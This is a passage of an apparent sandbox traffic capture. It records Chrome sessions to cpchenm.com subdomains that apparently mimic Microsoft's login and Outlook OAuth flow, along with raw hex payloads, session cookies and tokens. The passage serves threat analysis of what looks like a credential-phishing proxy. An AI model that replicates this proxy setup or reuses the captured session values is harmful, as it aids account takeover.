2024-11-12 16:29:49 UTC	7074	IN	Data Raw: 6c 2d 6b 6e 6f 77 6e 2f 6f 70 65 6e 69 64 2d 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 22 2c 22 75 72 6c 54 65 6e 61 6e 74 65 64 45 6e 64 70 6f 69 6e 74 46 6f 72 6d 61 74 22 3a 22 68 74 74 70 73 3a 2f 2f 74 76 72 63 65 6f 63 70 72 71 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 7b 30 7d 2f 6f 61 75 74 68 32 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 61 69 6d 73 3d 25 37 62 25 32 32 69 64 5f 74 6f 6b 65 6e 25 32 32 25 33 61 25 37 62 25 32 32 78 6d 73 5f 63 63 25 32 32 25 33 61 25 37 62 25 32 32 76 61 6c 75 65 73 25 32 32 25 33 61 25 35 62 25 32 32 43 50 31 25 32 32 25 35 64 25 37 64 25 37 64 25 37 64 5c 75 30 30 32 36 63 6c 69 65 6e 74 2d 72 65 71 75 65 73 74 2d 69 64 3d 32 61 35 31 65 30 33 61 2d 39 36 39 31 2d 62 65 32 62 2d 33 38 34 33 2d 62 32 65 32 37 65 63 62 38 Data Ascii: l-known/openid-configuration","urlTenantedEndpointFormat":"https://tvrceocprq.cpchenm.com/{0}/oauth2/authorize?claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb8
2024-11-12 16:29:49 UTC	8253	IN	Data Raw: 6c 73 65 22 2c 22 69 77 61 52 65 71 75 65 73 74 54 69 6d 65 6f 75 74 49 6e 4d 73 22 3a 31 30 30 30 30 2c 22 73 74 61 72 74 44 65 73 6b 74 6f 70 53 73 6f 4f 6e 50 61 67 65 4c 6f 61 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 67 72 65 73 73 41 6e 69 6d 61 74 69 6f 6e 54 69 6d 65 6f 75 74 22 3a 31 30 30 30 30 2c 22 69 73 45 64 67 65 41 6c 6c 6f 77 65 64 22 3a 66 61 6c 73 65 2c 22 6d 69 6e 44 73 73 6f 45 64 67 65 56 65 72 73 69 6f 6e 22 3a 22 31 37 22 2c 22 69 73 53 61 66 61 72 69 41 6c 6c 6f 77 65 64 22 3a 74 72 75 65 2c 22 72 65 64 69 72 65 63 74 55 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 74 76 72 63 65 6d 65 68 65 66 66 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 6f 77 61 2f 22 2c 22 72 65 64 69 72 65 63 74 44 73 73 6f 45 72 72 6f 72 50 6f 73 74 50 61 72 61 6d 73 22 Data Ascii: lse","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://tvrcemeheff.cpchenm.com/owa/","redirectDssoErrorPostParams"
2024-11-12 16:29:49 UTC	9432	IN	Data Raw: 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6f 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 72 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 28 72 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 6f 29 2c 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 29 7d 28 29 7d 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 0a 72 65 74 75 72 6e 20 66 2e 24 43 6f 6e 66 69 67 7c 7c 66 2e 53 65 72 76 65 72 44 61 74 61 7c 7c 7b Data Ascii: addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){return f.$Config\|\|f.ServerData\|\|{
2024-11-12 16:29:49 UTC	3183	IN	Data Raw: 69 6e 67 73 22 29 29 2c 6e 75 6c 6c 21 3d 3d 61 26 26 74 26 26 28 6e 3d 65 28 61 2c 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2c 6e 75 6c 6c 21 3d 3d 6e 26 26 76 6f 69 64 20 30 21 3d 3d 6e 7c 7c 28 6e 3d 72 28 74 29 29 2c 6e 75 6c 6c 3d 3d 3d 6e 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 22 22 3a 6e 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 72 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 65 26 26 72 26 26 72 5b 65 5d 26 26 28 6e 3d 74 28 22 65 72 72 6f 72 73 2e 22 2b 72 5b 65 5d 29 29 2c 6e 7c 7c 28 6e 3d 74 28 22 65 72 72 6f 72 73 2e 22 2b 65 29 29 2c 6e 7c 7c 28 6e 3d 74 28 22 65 72 72 6f 72 73 2e 22 2b 63 29 29 2c 6e 7c 7c 28 6e 3d 74 28 63 29 29 2c 6e 7d 0a 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b Data Ascii: ings")),null!==a&&t&&(n=e(a,t.toLowerCase())),null!==n&&void 0!==n\|\|(n=r(t)),null===n\|\|void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n\|\|(n=t("errors."+e)),n\|\|(n=t("errors."+c)),n\|\|(n=t(c)),n}function o(t){
2024-11-12 16:29:49 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49212	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:49 UTC	2190	OUT	POST /common/handlers/watson HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive Content-Length: 4835 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 client-request-id: 2a51e03a-9691-be2b-3843-b2e27ecb841e canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeijtggukMDg_vhfdfxocbpkPYb5rsePFLhMBwZvwK-Pmes7wmZr8SRvzEVvMVBH08JTb2jxBsDD-BDJxQnzyEUH-pgfRz0gAFkByXxwrWCCGwqbrA7aSdn0zOEVBPJVMyoJg-nE-7RwEfWS10QTytVbeWaDjQmMgzQHYjleBK2epCEfV6k0GuKLRd18E7LMiN-hoRdMGzW1dnxDB__mDQNiAA Content-Type: application/json; charset=UTF-8 hpgid: 6 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://tvrceocprq.cpchenm.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-12 16:29:49 UTC	4835	OUT	Data Raw: 7b 22 65 63 22 3a 22 54 79 70 65 45 72 72 6f 72 3a 54 79 70 65 45 72 72 6f 72 3a 20 43 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 69 65 73 20 6f 66 20 6e 75 6c 6c 20 28 72 65 61 64 69 6e 67 20 27 69 6e 6e 65 72 54 65 78 74 27 29 22 2c 22 77 65 63 22 3a 22 33 34 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 22 2c 22 73 63 22 3a 31 30 31 33 2c 22 68 70 67 22 3a 36 2c 22 6d 73 67 22 3a 22 55 6e 63 61 75 67 68 74 20 54 79 70 65 45 72 72 6f 72 3a 20 43 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 69 65 73 20 6f 66 20 6e 75 6c 6c 20 28 72 65 61 64 69 6e 67 20 27 69 6e 6e 65 72 54 65 78 74 27 29 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 76 72 63 65 6f 63 70 72 71 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 32 34 37 34 33 2f 33 38 66 Data Ascii: {"ec":"TypeError:TypeError: Cannot read properties of null (reading 'innerText')","wec":"34","idx":1,"pn":"","sc":1013,"hpg":6,"msg":"Uncaught TypeError: Cannot read properties of null (reading 'innerText')","url":"https://tvrceocprq.cpchenm.com/24743/38f
2024-11-12 16:29:49 UTC	1130	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Cache-Control: no-store, no-cache Cache-Control: no-cache="Set-Cookie" Client-Request-Id: 2a51e03a-9691-be2b-3843-b2e27ecb841e Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/json; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:48 GMT Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin
2024-11-12 16:29:49 UTC	476	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 66 70 63 3d 41 67 6f 50 75 36 6b 67 6c 66 46 4e 6f 43 66 31 62 6f 61 50 49 34 38 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 31 36 3a 32 39 3a 34 39 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e Data Ascii: Set-Cookie: fpc=AgoPu6kglfFNoCf1boaPI48; Path=/; Expires=Thu, 12 Dec 2024 16:29:49 GMT; HttpOnly; Secure; SameSite=NoneSet-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneSet-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmn
2024-11-12 16:29:49 UTC	265	IN	Data Raw: 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 78 78 6a 58 6b 6c 62 43 62 62 39 67 52 38 4a 69 39 43 56 61 64 62 46 78 6b 6d 54 2d 49 58 66 68 45 4d 49 43 50 6b 35 4e 43 54 45 42 43 47 4a 6c 53 72 50 69 70 59 72 5f 5a 5a 4e 4f 77 34 50 55 42 44 37 65 47 55 45 6b 65 47 43 55 6b 61 73 47 4c 4e 78 6e 66 6b 75 75 6f 49 5f 62 2d 4e 69 76 5a 4d 4f 77 32 6a 6f 65 64 7a 39 4d 75 4d 58 64 56 64 35 66 4c 46 58 6d 62 43 32 64 46 31 6b 71 2d 49 53 64 34 4e 6c 4b 67 50 57 54 66 34 4a 79 36 7a 2d 74 6f 6b 48 48 30 34 33 30 4d 64 71 48 4c 6e 6e 62 49 62 53 38 67 4f 79 72 46 52 74 39 49 58 33 56 49 34 33 32 2d 71 55 61 69 63 67 37 6d 74 53 6b 71 63 49 67 54 64 69 31 59 35 5f 2d Data Ascii: {"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFexxjXklbCbb9gR8Ji9CVadbFxkmT-IXfhEMICPk5NCTEBCGJlSrPipYr_ZZNOw4PUBD7eGUEkeGCUkasGLNxnfkuuoI_b-NivZMOw2joedz9MuMXdVd5fLFXmbC2dF1kq-ISd4NlKgPWTf4Jy6z-tokHH0430MdqHLnnbIbS8gOyrFRt9IX3VI432-qUaicg7mtSkqcIgTdi1Y5_-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49215	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:49 UTC	1788	OUT	GET /favicon.ico HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-12 16:29:49 UTC	1071	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Cache-Control: private Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:48 GMT Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2024-11-12 16:29:49 UTC	276	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 33 34 33 2e 34 20 2d 20 57 45 55 4c 52 31 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a 58 2d 4d 73 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 61 37 37 30 38 62 38 38 2d 31 62 39 64 2d 34 64 62 65 2d 38 32 31 65 2d 61 34 35 65 65 36 62 32 38 39 30 30 0d 0a 58 2d 4d 73 2d 53 72 73 3a 20 31 2e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Ms-Ests-Server: 2.1.19343.4 - WEULR1 ProdSlicesX-Ms-Request-Id: a7708b88-1b9d-4dbe-821e-a45ee6b28900X-Ms-Srs: 1.PContent-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49214	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:49 UTC	718	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" Origin: https://tvrceocprq.cpchenm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:50 UTC	1128	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: text/css Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:50 GMT Etag: 0x8DCDDAAF34D1A25 Last-Modified: Wed, 25 Sep 2024 21:42:27 GMT
2024-11-12 16:29:50 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 35 30 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 73 34 74 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162950Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002s4tX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:50 UTC	1978	IN	Data Raw: 31 62 61 65 32 0d 0a 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 Data Ascii: 1bae2/! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects
2024-11-12 16:29:50 UTC	559	IN	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 6e 65 63 6f 6c 61 73 2d 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 28 33 2e 30 2e 32 29 0a 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 32 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 0a 0a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 Data Ascii: -------------------------------------------------------------------------necolas-normalize.css (3.0.2)//-----------------------------------------------------------------------------! normalize.css v3.0.2 \| MIT License \| git.io/normalizeCopyright (c)
2024-11-12 16:29:50 UTC	4716	IN	Data Raw: 68 2c 20 64 69 73 74 72 69 62 75 74 65 2c 20 73 75 62 6c 69 63 65 6e 73 65 2c 20 61 6e 64 2f 6f 72 20 73 65 6c 6c 20 63 6f 70 69 65 73 20 6f 66 20 74 68 65 20 53 6f 66 74 77 61 72 65 2c 20 61 6e 64 20 74 6f 20 70 65 72 6d 69 74 20 70 65 72 73 6f 6e 73 20 74 6f 20 77 68 6f 6d 20 74 68 65 20 53 6f 66 74 77 61 72 65 20 69 73 20 66 75 72 6e 69 73 68 65 64 20 74 6f 20 64 6f 20 73 6f 2c 20 73 75 62 6a 65 63 74 20 74 6f 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 63 6f 6e 64 69 74 69 6f 6e 73 3a 0a 0a 54 68 65 20 61 62 6f 76 65 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 69 73 20 70 65 72 6d 69 73 73 69 6f 6e 20 6e 6f 74 69 63 65 20 73 68 61 6c 6c 20 62 65 20 69 6e 63 6c 75 64 65 64 20 69 6e 20 61 6c 6c 20 63 6f 70 69 65 73 20 6f 72 Data Ascii: h, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or
